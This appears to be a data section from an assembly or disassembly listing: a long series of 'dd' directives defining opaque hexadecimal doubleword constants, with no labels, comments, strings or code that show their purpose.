dd 7E9B8A4Ah, 8C72A8DCh, 9794142Ch, 0A6F5E099h, 66011FB7h
dd 705A587Bh, 0E6336908h, 0D8198C57h, 2BD514DCh, 5C090F7h
dd 266AF6FFh, 3EB2B337h, 7157A4D7h, 2532242Dh, 6E0F2483h
dd 0EAA31B24h, 71011ECAh, 345A66A3h, 0FAB7EFD0h, 74051955h
dd 0EEE7083Bh, 4FEA29FFh, 4E2BFEADh, 950418FCh, 780ADBD0h
dd 0E65E8DC9h, 6F204B78h, 0D7EC0BEEh, 0D921C1F1h, 7B97BF5Ch
dd 0C7CC9D62h, 5398E88Ah, 1FCA1959h, 0D8BC1375h, 8964F3E4h
dd 0CD2192D6h, 28DEB803h, 0FADBA3B7h, 0BF4A5A0Fh, 0C6518457h
dd 7536AABFh, 33E98DB8h, 0BBD46EFBh, 0F845FE50h, 37FBACD4h
dd 0B55FB400h, 0EC8377FCh, 0BAF1C1D1h, 0E950D1C0h, 75A77F31h
dd 52509AE9h, 71AC7353h, 0F8DB082Ch, 290390A4h, 3EB749FDh
dd 0E6B7FC62h, 0ED0619A8h, 9BE5640h, 0E556F59Eh, 0BE59B8D5h
dd 0F9CB2232h, 525251F9h, 3759C12Ah, 925DA68Fh, 0C9B8F214h
dd 5C9D092h, 0C85A07A5h, 0D8D6FF92h, 7F5FC888h, 8B2ABEF0h
dd 0C700E2B7h, 0FE1EA12Ah, 0D2B801D7h, 2143583Ah, 0CF6A7412h
dd 0F9297F44h, 2B0F03B9h, 9E38EAC5h, 306A7909h, 0DBD0F890h
dd 329F16C2h, 3FA85E29h, 0EEABC418h, 4D974BB9h, 854323C2h
dd 0D6FE25D8h, 9737F27h, 0FC73924Dh, 2FCC3150h, 0DC1006ABh
dd 0B46B8B6Bh, 0DFE6D746h, 82D3D5DBh, 908A5FF7h, 5E91838Ah
dd 0E315AB3h, 43A18B38h, 0BBF4EF30h, 0E42B6EA4h, 0F74B2976h
dd 2F0C825Ah, 875618BBh, 0BD5BF9CDh, 79C41BE8h, 92B7E6BAh
dd 0D4048863h, 7DDE15D6h, 3A04A460h, 2C314693h, 0E8CE86CBh
dd 84DADA74h, 9EDA5049h, 531F51E4h, 0D7DAAE3Ah, 6FA2C068h
dd 0C5D51970h, 5BC3DB82h, 339283BEh, 28B0058Ah, 69F26A66h
dd 2174AA0Bh, 6A0F67FCh, 9AAD8DD0h, 37AE9041h, 0C17C0CA0h
dd 0D33FD758h, 92648AAFh, 1FD328A2h, 0BD792FACh, 256307E8h
dd 466776A3h, 3A2F00C0h, 65946FBCh, 4CAAA27Ch, 50966F79h
dd 39638C9Dh, 55637CFBh, 4BB05EF7h, 3E56BA36h, 96495401h
dd 37052E77h, 4FCCA6A6h, 0BB93B8AAh, 51C82F3Ah, 0DC36B8AAh
dd 1EE048BCh, 0DA28D415h, 1D88FDA6h, 81B263EBh, 0F0CD4495h
dd 0EB1B8960h, 3BEF4F18h, 0B6B4FDCBh, 857F46A8h, 28EDEB7Ch
dd 7BBFC0F1h, 1C53D8ADh, 0C47FF58h, 0B10981B1h, 1ED38088h
dd 56EE0D0Ch, 2830B965h, 8C046623h, 0D7EB470Ch, 9477815h
dd 0D44CCF7Ah, 35EDAB72h, 7BCE7607h, 31CFB451h, 6083F95h
dd 0A388BE9Fh, 261CC38Ah, 9EA52947h, 784F9B18h, 0DA85F3A8h
dd 99AD29F2h, 40BA9EE6h, 93090D87h, 0D52B7467h, 0CF9EC777h
dd 38A1AE97h, 0F24CF158h, 0F872022Eh, 82F5C5A5h, 499FBB3Ah
dd 34FB3EBh, 8947A1A2h, 5499DA0Fh, 0F93596A0h, 0E608F5B2h
dd 89F8B543h, 96FD6300h, 0A5967419h, 0DB1DC6BAh, 0F5823372h
dd 22D7659h, 388253h, 1FF6814Fh, 2E7B504Fh, 0AB92C453h
dd 2A525F78h, 97034AD5h, 0C04E70CDh, 3048AD08h, 254A6E12h
dd 0FC6A776Eh, 39AF6CDh, 2704EDFDh, 0FAE49DE9h, 0BDF8246Ch
dd 0F799EDF0h, 0CD052825h, 4B912ABAh, 9774EB54h, 5FBF8DA1h
dd 0F4BD0374h, 9418E7E0h, 0B361A200h, 70DD97ACh, 0EC91E73Eh
dd 0E8BECD4Fh, 2B9295B0h, 8DE277EDh, 4844CFC7h, 591028D6h
dd 2DD113C9h, 8BD69553h, 4AE6F92h, 0E5AD80EAh, 17786EBAh
dd 0D468CBC1h, 6A54BCB8h, 0D9465323h, 4AC94C63h, 0A4B1C1E3h
dd 628CF678h, 0AC6AAE20h
dd 0E20284Fh, 88B2A163h, 0E05E0F5Ah, 757B6298h, 1302DDF5h
dd 0B938F3D3h, 46C5BC48h, 826156F9h, 6D1621h, 8FD86782h
dd 22535C06h, 71B21E62h, 74D3AC3Ah, 37A45CCCh, 0AE9476CFh
dd 0EB1BBD60h, 0E16D81EBh, 39CC3B7h, 0C17CBBB1h, 0C8DE4624h
dd 3A633BEAh, 0FA7553BFh, 2EF2202Fh, 8F6CA80Dh, 0C4933E67h
dd 76329B31h, 0F05E8EA1h, 0D9E8D87Ch, 0F07F055Bh, 3FE9D9A1h
dd 0A5A902D2h, 0AB1523DCh, 0E9F2EB36h, 4DA09C9Bh, 0F6EA36F0h
dd 7AE0C590h, 5AE0596Ah, 0E7E0CA95h, 27347911h, 0E832A028h
dd 5154BA1h, 2B7CADF7h, 0CA554366h, 0AD2B5DB5h, 347EA946h
dd 572EE0A4h, 0FA8B16A3h, 0A4D42ACEh, 51620024h, 660510D5h
dd 99AFDB09h, 5B47A128h, 6793CAACh, 0EA1DB083h, 30A93CFEh
dd 735F2A5Eh, 0EA4E26E3h, 4D04176Bh, 5676A918h, 0C1DD64F5h
dd 804F3922h, 44DD316Dh, 98C521E3h, 7115355Dh, 0B48B8DA3h
dd 6CCC2A1Fh, 0E8B7E9E7h, 92ACA63Ah, 0F305285Ch, 0C9F0C24Fh
dd 4C41777h, 988BB9F8h, 2EDBE388h, 6B2C5B65h, 8A733F06h
dd 7CC2C778h, 955E57F9h, 0A4F888ABh, 10A977Ch, 0D0AF360Eh
dd 0A2E9D2FCh, 103FA024h, 967F8984h, 9C289CE5h, 85907BF6h
dd 83954597h, 4CEB42E4h, 0F1A4C4AFh, 0BC6CA561h, 0B8467CC2h
dd 3421011Fh, 8FA08F7Ah, 0FFCDA71Bh, 0AF31B616h, 535DF03Dh
dd 48598CA5h, 693F8E00h, 8EF591Dh, 17FAC3DCh, 35E9EB0Dh
dd 45DCB07Fh, 0D47CB0C1h, 0B89B6EEh, 6506F110h, 289B27CFh
dd 136AA203h, 850A97B8h, 25C32810h, 0F8FE36DDh, 0EA4DBF69h
dd 0A37FC685h, 3FC1E6CAh, 804CC5FCh, 0F738965h, 0F12EC246h
dd 0E9CD8BA1h, 26A86677h, 0C27C7E60h, 5DB18700h, 0A1A9594Eh
dd 0EE6CF8C6h, 42D02EC4h, 676C7756h, 64DFD025h, 6637F046h
dd 8F7EE12Dh, 0E3B9C061h, 0D882018Bh, 84D96799h, 5311695h
dd 338786E6h, 3862E8DAh, 0A747BFABh, 9490B19Ah, 0AAF57DE8h
dd 8E3F9C35h, 0F6C6902Ch, 3A1AB1AFh, 2468C9FEh, 1E93A028h
dd 0AA942907h, 5AB805F2h, 0CF8BFB02h, 31DDE154h, 62AC5781h
dd 2DE736F9h, 750470BDh, 7F8B7F25h, 20747008h, 0A30E1876h
dd 0B3CD43FFh, 0C69A7099h, 438697D3h, 156694B4h, 0FD2A1D7Bh
dd 0C70AF1ABh, 69C875B0h, 9325A5E1h, 0C6D5545Eh, 0C7AF063Dh
dd 911C1D71h, 31F782D4h, 0F246E77Dh, 0DBD1F223h, 0E57FA4DEh
dd 38659490h, 94C95FC1h, 16B9354Eh, 439FC58Bh, 0B91D8B88h
dd 73DCF7C7h, 3505F730h, 0CD5C27BAh, 8F9D8E4Eh, 0C6CF52E5h
dd 0A37BC3C8h, 4A2A530Eh, 4177B69Bh, 0AF7FC7CAh, 0FC8248AEh
dd 0D813496Ah, 0CF9709DAh, 0C331D877h, 0AC06FFFDh, 1BD03687h
dd 0FEABDC2Ah, 1AD26CD5h, 7215726Bh, 585391B7h, 751ACAD9h
dd 4F57F0A2h, 0ECF8C2B9h, 4A6E05DCh, 0E6311436h, 21CB3D56h
dd 0B9F5E190h, 0FD9F5C33h, 71B772ECh, 0F25F338Dh, 2C9A9AD6h
dd 11E62500h, 0A5F13C14h, 0D159CE3Dh, 0E2D9AC47h, 0B5EDA883h
dd 105138F6h, 266FE4Fh, 9EC5687h, 4905A5A2h, 0A7113DC1h
dd 88791849h, 5526B5F3h, 903EB2D7h, 52E0A7AAh, 0CECFEB41h
dd 0C6E78FB9h, 7FB7F5B8h, 0A0F1D5EEh, 6C302538h, 0A9F32547h
dd 90DE734Eh, 4C727715h, 0EB295864h, 0E8B16F3Dh, 3D6A8B8Fh
dd 1A2400DAh, 67ADE5AEh, 0C34BA4A0h, 78716764h, 0B3C4D857h
dd 0EE6E0B5h, 0DCA44B40h, 64CB8CBAh, 99A5AA33h, 0A04467A0h
dd 0E2878A7Ch, 89A6B2E1h, 6BD5B110h, 0D8705F4Dh, 0CD3AFCABh
dd 7577ACEh, 1B431B03h, 9FB4BF0Eh, 26D9744Dh, 786761h
dd 0FF7E7363h, 0B1FAA5C8h, 0CD623AB0h, 0DDBFDE35h, 0EEF44C68h
dd 7B17CBDAh, 14D1AE4Ah, 416E9DC4h, 0DBDFFB11h, 2714AC2h
dd 946C32Ah, 0CA1EEDA0h, 7F3C507Bh, 7A80002Eh, 0BBB52376h
dd 5FD719D0h, 74A71D30h, 0B4A50A24h, 27CE3AE4h, 0A15941DAh
dd 0D5B223A5h, 67F6E94Dh, 105EAEF6h, 0A16EE285h, 10045D74h
dd 727BCF16h, 35374E9Dh, 284C01BFh, 1ABAA6F4h, 8C8CB813h
dd 3DDE9010h, 7748AAFCh, 628E755Eh, 2412AB92h, 6970D93Fh
dd 322CBE22h, 0C7E9BAAEh, 7B7C30CEh, 0DD723012h, 30C5947Bh
dd 2ACA04D0h, 398229FEh, 0D73AC37Ah, 0AA13FE37h, 64BCB53Fh
dd 72202960h, 0BBC9F4Bh, 0D294AAA2h, 3465725Ah, 41C4870h
dd 0E200E0E6h, 72B37A2Bh, 2F7DD90h, 140A2237h, 0ACAC5165h
dd 0A109B38Bh, 83E97E6Fh, 0D3DCD9A9h, 28BED071h, 8E0A5DB0h
dd 0DC525D21h, 0D0638FCAh, 0E59C602Fh, 6381F871h, 1699641Ah
dd 31FC0EB2h, 91B6B272h, 42385B3Ch, 66924989h, 0FB31FDABh
dd 0F78B98BFh, 6C188292h, 628B4B9Fh, 0ED7810FFh, 7A2A8584h
dd 8889E789h, 5EC8F161h, 64F5504Dh, 8BC2CF23h, 8C4E3B78h
dd 2491635Ah, 0E73088A0h, 1B7E3146h, 5ED5C40Bh, 6B74D25Ah
dd 0DBA9E58Dh, 6306B375h, 0B2362EF3h, 77624346h, 0CDBC68B1h
dd 0FBE3E696h, 36EE2B41h, 7AC39C1Dh, 78ACF148h, 37A23E34h
dd 98E37C68h, 0F8FCAB67h, 0A1C53724h, 9225AF9Bh, 0B8A7CBB2h
dd 755BE447h, 7F99F062h, 6DCF7F3h, 4B1A8B41h, 779D474Fh
dd 0FE0D2039h, 772C687h, 9E61409Bh, 99100855h, 0CBC58BAAh
dd 77C9C3C4h, 6815B79Fh, 2DB5F890h, 0BAC03965h, 32124DBAh
dd 9B70A65Ch, 7E72BA38h, 0B83E6871h, 2651F560h, 0EEFFA718h
dd 0D7EC6897h, 0BF347B25h, 0BE860AD0h, 5D34C610h, 444179CCh
dd 7B2A8CD5h, 3EAE0F7Bh, 1AC2754Ch, 0B922B44Ah, 0B8B6E542h
dd 605F5115h, 5286B9CBh, 4CE1579Eh, 0DF27ED5Eh, 98874CFBh
dd 87D35441h, 2DFE5AEAh, 41595D68h, 0DCC3FB89h, 286531B9h
dd 0E454F978h, 0D9EF5623h, 0C6949827h, 4ED4B50Fh, 304C7411h
dd 2E227C3Dh, 4AC881BBh, 36E9AC39h, 3A14FC8Eh, 0F46A04B5h
dd 0FBEBE0B9h, 7F63DB00h, 12BA8823h, 7F96C83Dh, 43DCF20Fh
dd 0D467E7ADh, 7648A949h, 0EA64B388h, 0D7B785C5h, 9D8CD020h
dd 59EC49D7h, 0F586C44h, 31F4812h, 0EA048B1h, 0F0A074A0h
dd 0EBCDB092h, 9A7B2D77h, 90976715h, 0B15B8331h, 0C5E81DD8h
dd 4E1E18EDh, 4AD22DC6h, 0C92D7011h, 0B65B5299h, 0CDD0212Ah
dd 73C45AEEh, 0B0168154h, 71869CE6h, 9B4A3D51h, 0B2D236FEh
dd 0A77F4039h, 20C17F65h, 0A9AD283Dh, 772EEEFEh, 0F6A5BE43h
dd 7DEE22C6h, 0D4E212Bh, 38E65E23h, 95FE2AE0h, 2B907203h
dd 2D44120Ch, 0F7DDE7A4h, 2FB2F73Eh, 16386825h, 85425604h
dd 6E114BEBh, 5B9777F8h, 8C2CF889h, 4108641h, 0A88780Fh
dd 950BE5EEh, 0B141A653h, 0E52DCF7Ch, 56D78656h, 0DEEE1580h
dd 6FB8209Ah, 1DC19941h, 0A272B1F8h, 0E7EA4571h, 97CAF4ABh
dd 0A60DB4E5h, 0B2BFE5F9h, 0C3E95518h, 358B96E2h, 0C5F8B8DEh
dd 764019BBh, 73A4A61Fh, 2FA3C4E1h, 38D6CA99h, 96018CBCh
dd 318C4283h, 5D05263Eh, 0AF1F27A0h, 1249B83Eh, 310971A5h
dd 25C12E28h, 0DB063DEEh, 0C91C23DEh, 0EC00F262h, 74D9F8DEh
dd 89E4E3BBh, 0B0E0D47Ah, 0A14D2516h, 214EFBA4h, 90F9AB92h
dd 7B7DEE7Fh, 0C7A8E926h, 228E2FC6h, 0EC8D345Fh, 0FA4EF88Ch
dd 0D336E48h, 635A8E9Ah, 6BD4319Bh, 0E09C68C6h, 2EBA96F9h
dd 979240F0h, 232C6816h, 0D788DF24h, 698CC50h, 0B707591h
dd 55160EDEh, 2CFD48EDh, 0ED1D9482h, 0BF106441h, 0A8111548h
dd 4765242Bh, 0DDA85A58h, 16266DFBh, 47C4B2ECh, 88F79CFEh
dd 0A74BDDFCh, 2AF3069Eh, 0A9066940h, 3E148DDFh, 929FFD03h
dd 3D01562Dh, 0F18F3E80h
dd 119EB448h, 8DF2AC4h, 0B8EB0709h, 0DE5315AEh, 70838FE5h
dd 17AD2AF2h, 1538877Bh, 29793D05h, 0A6A2502h, 0F05BCF5Ah
dd 0A052D167h, 71AA905Dh, 3707BC37h, 576E731Ah, 0D5182493h
dd 709322E4h, 7F5D1427h, 0E2F31008h, 149572CFh, 7D879479h
dd 67A5C4C1h, 0FD647864h, 30D39ECFh, 842A58B7h, 0A3F0F6B5h
dd 0AD1C8718h, 94094E2Eh, 8460DE98h, 0C5C3761Dh, 8CE1B6ECh
dd 0E87B4565h, 514F46FCh, 49E7D526h, 1881A896h, 4268CF40h
dd 1449F9FDh, 8795C537h, 5290256Bh, 7C4CFAD2h, 0F3F1A93Fh
dd 0E1CE5120h, 81888080h, 0AFC0EDBBh, 60AB690Ah, 0D68FF961h
dd 636E192Bh, 27A244E5h, 3E9852D6h, 0DF5C47C9h, 7AAE1A2Dh
dd 43327B53h, 0D2CD742Dh, 32320C7Bh, 0AB0DE701h, 83320992h
dd 0A807B447h, 0D6E3373Eh, 3675FC62h, 0D61D9D5Dh, 0EB73BE2Eh
dd 3E5E5E3Dh, 0B6A02E30h, 74282677h, 5F884972h, 0DD067168h
dd 0CA1807F5h, 0FE03802Eh, 0B95A496h, 0DF107C41h, 1B75F8BFh
dd 0F08244A6h, 435AC3F7h, 1ACFACD0h, 0CD12D58Fh, 0E3A4E496h
dd 0A26E2CE0h, 0A90EF872h, 5945FC21h, 8A00F742h, 0AD89D04h
dd 0BF8FE0A6h, 29C036D0h, 29F7BC56h, 235C6FD3h, 0F8B60274h
dd 0A9481DF1h, 0C21A196h, 6751BE09h, 89296A49h, 0FFA444C1h
dd 20C3F498h, 71BCA04Bh, 62763505h, 40751F25h, 485D3B6Ch
dd 1EFFC28Eh, 0E9B460F8h, 0F71AFBD0h, 0AB39AE2h, 9A7AB73Eh
dd 0A8DBD3B9h, 8B2971E8h, 339B11B1h, 11A4660Dh, 0B96A8C82h
dd 3D07AAE6h, 6F2FB755h, 0A616338Eh, 6E2B5EADh, 86BB96C5h
dd 0ECEE5DA0h, 68F4AEE6h, 0DC6EBEBBh, 5C40C1E0h, 5D66D4B6h
dd 9B06FDBAh, 4D5DFED2h, 6EBD1F98h, 9663BAEAh, 0D87038E1h
dd 4BB92D29h, 36E04583h, 31EFF45Dh, 0D91892D3h, 1B2CD005h
dd 3128A3AEh, 4F40B3D7h, 1874B02Dh, 0E8BF60B6h, 3D44D800h
dd 2025585Eh, 2E0857CAh, 994B46FEh, 80341B65h, 0BB549256h
dd 163F0782h, 8492A9FCh, 7EEBD90Eh, 4D1BFB55h, 8C39CD0Eh
dd 7BAF1F47h, 497EAC3Fh, 3BF9C739h, 0CD481817h, 5B785A84h
dd 0F4F56C91h, 78C4DD80h, 468AD3B3h, 921EAC91h, 0AE4F9359h
dd 5A1869DAh, 9A92B903h, 3F8CD37Ah, 0E9AA1413h, 0E31C8C21h
dd 0E178EB32h, 2DCDB215h, 0E1E80E21h, 0EB209754h, 33643728h
dd 6DCFE742h, 0DB76DC4Dh, 6DCC6E5Eh, 81EF4620h, 0B6164D66h
dd 0FFE754E0h, 1B7A325h, 9983CFC6h, 1DD090F0h, 73E5290Fh
dd 0CD5AAC86h, 350D1F40h, 595AE2D5h, 6927B586h, 0A85B7B3Ch
dd 2211A67Ch, 3E48B850h, 80BB3A1Dh, 725A1F84h, 2974FF34h
dd 0D86C9F4Ch, 0B001C054h, 6DD96886h, 0DB0C56A9h, 14AC3C5Bh
dd 0AC2DC035h, 9DCF893Dh, 61461B83h, 0C64CE105h, 0EA771D99h
dd 5F120091h, 309C613h, 84BCD4EAh, 89AC3EFEh, 6FB2EFE9h
dd 32491BA7h, 73BC410h, 0E5E727A2h, 0A4F690E4h, 49F8ABAAh
dd 180D9BE0h, 60A808A1h, 0D694D5C8h, 0F98DF1Ah, 5DDAA890h
dd 7E76730Bh, 9993EF00h, 863266A8h, 0A9941A90h, 23ADC929h
dd 0B9B1DE5Eh, 0ABCCFC17h, 6F35147Fh, 492BE1EEh, 0C5AEBEFCh
dd 7A8C678Ch, 36F1BBC2h, 1EE97CC0h, 9C7C807Fh, 0C5EB86D9h
dd 0C058379Ch, 1C275E3Ah, 0A9C64AE1h, 13163F05h, 0DA9D06E1h
dd 0A2861DE4h, 2FAE16EFh, 77F864BCh, 0AA245DDAh, 0DA85DA79h
dd 5A8D343h, 30D17F2Dh, 0DB798D4Ah, 0A53D4D2Dh, 987DC90h
dd 26C7263Dh, 8FBBD3D4h, 76F9CF2Fh, 47FD93EFh, 0B348217Dh
dd 0B969B23Bh, 52A8B04h, 0C65C50E8h, 61C24CB0h, 5CC3355Eh
dd 8C7F32B2h, 4A41A3C2h, 39062EF8h, 0C6E5CF33h, 21D13C04h
dd 0D7B03070h, 0A7303749h, 0D8EB25C1h, 3DDAEBAFh, 33775845h
dd 0DE52461Ah, 7706287Ah, 74A0868Ch, 0B060603Bh, 8CF302D6h
dd 0A83C013Fh, 7D5EC9DAh, 0A9968E00h, 1CA4C272h, 86BEE20Ch
dd 0F159A9F4h, 9EA083A5h, 0CD1B8024h, 2656D8D1h, 0AC0B57B9h
dd 0CEC3021Ch, 0A6B798BDh, 622E85E1h, 10FA194h, 6A02A0F7h
dd 5BFB1DA7h, 74963C82h, 4EF57B6Bh, 127143BCh, 0F7AD3BD4h
dd 8BB99D19h, 1E53F9EAh, 6676542h, 0E94A4F2Fh, 0AFC015FCh
dd 821FFF02h, 0F9C8E477h, 1206AF4Eh, 0E18D394Fh, 12DF42D1h
dd 515FABBAh, 0D349F0C7h, 2084C55Dh, 0C62A65FDh, 9968B03Bh
dd 971F18AAh, 86E69FADh, 58CC9C10h, 0B56CED63h, 8B4A6FB8h
dd 8EF894C5h, 3593C1Ch, 62DD9245h, 0E0C16ED9h, 0B7428BE6h
dd 0DEF3C6CEh, 0E25D9C9Bh, 0EDFC1590h, 4E1D2BBh, 6C544F4Eh
dd 0EF78FB33h, 0D671B1F5h, 0A8ACC759h, 0C9BBF3FAh, 47409272h
dd 909AE4A3h, 86415A46h, 83BFE7DCh, 6BD7205h, 0FD88B96Fh
dd 0E5DFD38Fh, 8D85D88Bh, 0ACE937ACh, 0B89440DCh, 82E7F620h
dd 8F7BA409h, 630D17A0h, 0AB7FA0A8h, 0B9EE22EFh, 130CEAF3h
dd 3E99EA03h, 28DFA07Fh, 14C0E156h, 0B8F4AEB3h, 0DBADF3B1h
dd 32547EB4h, 0ACC575F5h, 0D0F885E2h, 64DC4AC3h, 9D8F3E26h
dd 7B5E1FEBh, 0C4A58905h, 8316EEFh, 7439D358h, 34FDD854h
dd 0B59FDDE7h, 0E05E8EC3h, 0BFB1BAECh, 552743E9h, 0EEBD7892h
dd 43E376E2h, 6BDFE89Eh, 10C8F37Bh, 142FEF7Ch, 6BDDAE2Ah
dd 0A5BCDD54h, 0ECF90522h, 23192669h, 0A2A0B409h, 0DEA65FB6h
dd 5003A887h, 2A25E0Ah, 576989A2h, 0F8F6223Ah, 0F4E4AE1Eh
dd 9B2D2839h, 0B9DEFE44h, 0C2C3FB4Bh, 73E0DE49h, 1F15C9EAh
dd 76E7732Ch, 24852592h, 0C6656200h, 0E96568D9h, 0CDC5B5FEh
dd 0A7D71C52h, 0C1AA1F66h, 2EC103D3h, 81B0AA08h, 4380CA90h
dd 8DC84E63h, 6659FF03h, 5E0BC836h, 0B2802970h, 0E8D6A37h
dd 1285409Fh, 5E4D7710h, 73EA309Ch, 0DE9343DAh, 0DF00FDAh
dd 0B7718688h, 0B22C2E74h, 52DCB558h, 9404F42Eh, 0AA84DD6Ah
dd 54C1FDC2h, 45EABACCh, 7B7FE427h, 69776650h, 0E5333D8Ch
dd 642DBE2Fh, 0CF0E7FE4h, 86A3A1D3h, 9C1D516Ch, 1B2083ADh
dd 36CFEA18h, 0FE56E28Dh, 0CB13036Bh, 0F0F10BB8h, 0CDD1B50Fh
dd 0B77DD105h, 25B4B109h, 877A8B35h, 3E2B0CECh, 0ACE681FBh
dd 0E75115F7h, 65944704h, 68ED43Fh, 40032E59h, 0B78D9FF1h
dd 0FFE487A3h, 296E6167h, 0EE19DA0Eh, 0BECB233Bh, 0EE438CB6h
dd 77DB9219h, 29D469DCh, 0CE28951h, 46F26B14h, 0A6DC9C39h
dd 0E0553562h, 0ABCECE7Fh, 0CA8F1695h, 93D31B17h, 1C698958h
dd 4653BCB9h, 18BBEFBEh, 10EADD18h, 28BA711Fh, 0D2F8E262h
dd 0C03D9875h, 84FF572Ch, 0F85F6E8Bh, 692ADC7Fh, 9759DCB0h
dd 0E8AAAF21h, 0B81037D3h, 6B4D19BAh, 9CA04FA8h, 345EC741h
dd 9015141Ch, 0E7531BD5h, 19266960h, 6BD6B146h, 12F3708Ah
dd 0FB2F6DFBh, 118F4660h, 2083F93Fh, 0CEECF555h, 0D9F1EFA9h
dd 0C23E28CBh, 5C43ADA3h, 0CC6016A0h, 31DE4CAAh, 0CBD2C192h
dd 0E082C3BFh, 0D06CCEC1h, 24FE4B27h, 54F63Dh, 0C12694B1h
dd 0D443F405h, 0B0DFD98Fh, 0F63290ACh, 0A21E81F1h, 3FB9798Bh
dd 0CE3DEC55h, 722D5CBAh, 6705E74Ah, 0CA28F8CAh, 553093F5h
dd 578308D7h, 0A49DB9C6h, 0F01B4489h, 7AABEC5h, 1CC3549Bh
dd 2CB0C079h, 9BEA1087h, 0D58EE55Fh, 0ABA6D25Fh, 21EEA0E6h
dd 475617AAh, 0D3F7F5FAh, 40CC0605h, 67BB03B1h, 2DB47C11h
dd 0D1D0F42h, 0C40A9461h, 38970021h, 0FC2D792Bh, 0E532D639h
dd 323CD36Fh, 9414F9D5h, 20E6A797h, 0EDA75C5Ah, 0AC87963Ah
dd 63742984h, 0DD993AC8h, 0B37B027Dh, 0F58F61A5h, 952C18E6h
dd 20A1C3C7h, 78303D6Fh
dd 0DB66C289h, 0C9CE7D2Dh, 0F49273E2h, 0E8D0CE7Bh, 6082D20Fh
dd 4554AF87h, 218000FEh, 3F08E3A0h, 0C1BB7900h, 6EBDE53h
dd 0BAB5CB33h, 6BEF82DCh, 0FF131398h, 0BBEB85CCh, 74AAC0D3h
dd 438D076Dh, 945CE5CAh, 56438A06h, 0AE435062h, 0FA00B907h
dd 0E3B1B828h, 65E2C93Ch, 3FA32287h, 5577EFFCh, 0F4B6F744h
dd 93C8E672h, 159FF6F3h, 38A14A34h, 879BD820h, 8481E58Dh
dd 264B0AD5h, 91286100h, 0CC6B98ABh, 0D3366119h, 242194FEh
dd 0C64DCA1Fh, 0BE1B439Eh, 93925115h, 1081C681h, 0B9AF3B20h
dd 40048773h, 0BDEE5D7Ch, 3DF245A7h, 0CACFAC04h, 0ED86146Bh
dd 968EB07Fh, 0D493890Dh, 78F3B9D3h, 0F7333203h, 6687DADCh
dd 2E24D805h, 0C80C90E2h, 5A3F6E87h, 89A058ECh, 0DE777F00h
dd 3EA93FD7h, 50D56765h, 97553F1Bh, 90C7DC7Eh, 0F3496A4Bh
dd 0CE9A1155h, 70BFA639h, 5443EDBBh, 431D7DB5h, 7B1CCBECh
dd 0CF53E3AAh, 33013A6h, 49AF21B4h, 2EDDD2C9h, 70210D82h
dd 0E669660Dh, 0CA31A5CBh, 0BB2B3E23h, 910259D7h, 0BB08ECF3h
dd 82E9143Dh, 3B705A17h, 92EBF528h, 0F0B46A5Eh, 14FC6E4Eh
dd 38B62F38h, 48277738h, 8B1FB0Ah, 343DC666h, 28E05AE5h
dd 7CDC4197h, 0B7AF4D86h, 479A2B7Eh, 4AB04EAh, 0BEF72272h
dd 61AC5122h, 696C7622h, 628F06B1h, 62E04547h, 0C5A63A73h
dd 0C63FA22Fh, 0B54DD52Ch, 0DC13B704h, 1389A598h, 6DAAF858h
dd 0D20CFBDCh, 0C465003h, 0F9541AD1h, 570477Eh, 42256E3Ah
dd 480F5ABBh, 3FB46950h, 5C9D5ED3h, 0F8372F48h, 0D8FAC939h
dd 0F5F6F81Dh, 0B65E9524h, 0D53B7C81h, 6CB48239h, 4417939Eh
dd 3E57E3h, 8E87B145h, 0EE406072h, 5D2FC494h, 19F1C54Ah
dd 0D665DD60h, 0E355D838h, 4E6327DEh, 0A0977665h, 1042300Eh
dd 0E476C3B1h, 3C50EAA6h, 0A0DC9C1Eh, 0CD59DF07h, 187916BAh
dd 1976907Eh, 0C831D4CBh, 6129647h, 0B4357A4Fh, 0C0F7E3AEh
dd 11D5EC75h, 71BDEE24h, 0BC957BC1h, 24709ECDh, 0CDED1FE8h
dd 8CF1E9E2h, 0B29FAD75h, 8F1F811Bh, 17919D85h, 8CF00B7Ch
dd 988B7BC5h, 0A137E990h, 0FC27E88Bh, 2052B831h, 1ACE9A3Bh
dd 85E82ACh, 99B400D8h, 34FF7552h, 0A47088C6h, 30EAFD00h
dd 0D6E19562h, 2A35508Dh, 883AE776h, 29AB3294h, 91EB07AEh
dd 428238C9h, 0EB7918BDh, 60073D27h, 18DFE2C1h, 3C9285C2h
dd 9D3AFE8Eh, 8EC85F79h, 44DCA0E4h, 2DE9D542h, 9E7580CBh
dd 1E6A42A2h, 3A282D76h, 24D4BD05h, 0CBF9A8DDh, 0E1A57A1Dh
dd 0E5B7F014h, 96D0AE2Ah, 1B2AA325h, 0D7B9AE2Ch, 3B7F1311h
dd 0D582E32Dh, 0CED55585h, 3E69758h, 81B94E6Eh, 3F5E00E7h
dd 0BAB51A38h, 70A1DE46h, 9EC9CE66h, 0F683CD8h, 5582AD97h
dd 0C6E16B45h, 64C71FEAh, 11F07B57h, 0C80121FDh, 32388CA1h
dd 2EBCE58Eh, 1780292Fh, 58C98B84h, 5DCE0BF3h, 0A94D3F50h
dd 264ECC79h, 0F553EB76h, 0EE95C03Eh, 0FD201517h, 2BF36C0Ah
dd 4D79B376h, 0C8016D9Ch, 0FF1C8356h, 45CB892Dh, 6F8F7765h
dd 580359BDh, 0CAB5ED53h, 2B53D2B1h, 32248045h, 9AFCDE12h
dd 3E5C3E8Bh, 6020F333h, 0E3DF5C96h, 44FA22DCh, 0DA196302h
dd 0E9084A63h, 689B09A4h, 76CBBCC3h, 57114CCDh, 0E181AFDBh
dd 9C65BDC1h, 47FADBCFh, 3589780h, 1CE74E57h, 27296ACCh
dd 5F2BB2CAh, 5903D10h, 7CA3C08Ah, 3FBC85EDh, 34C7EE21h
dd 98202600h, 8C238957h, 0CE0ABAADh, 418BCED6h, 26EE6378h
dd 0D12E0D23h, 0A13E7760h, 28D8E2B6h, 0CF091F8Fh, 919023A3h
dd 0D2EBF586h, 0E20FCFFBh, 4B16BFEDh, 99C3B6BCh, 0E540379Ch
dd 1B467B4Bh, 0AADEFD27h, 0E4759189h, 0B6061B8Ch, 1E921A34h
dd 99069435h, 3AB94BC3h, 0DB42785Bh, 56DB7173h, 4B7BD924h
dd 2DB5A482h, 0C42DB2D2h, 92F3C742h, 54C97459h, 93919EEBh
dd 0D4872551h, 5C2A41A1h, 681955DAh, 7E4E49A5h, 15B6C64Dh
dd 68FE9B23h, 0CF00355Ch, 5480A00Ah, 8E5F33C3h, 5927251Ch
dd 298C898Dh, 37C3D154h, 9B1F83F9h, 39672E89h, 36B37339h
dd 628C775Eh, 2EF8698Eh, 0E501CFFh, 27D826E0h, 54CA2CDFh
dd 351704Ch, 0F2919109h, 4DAB7B40h, 7EBAA391h, 4686D555h
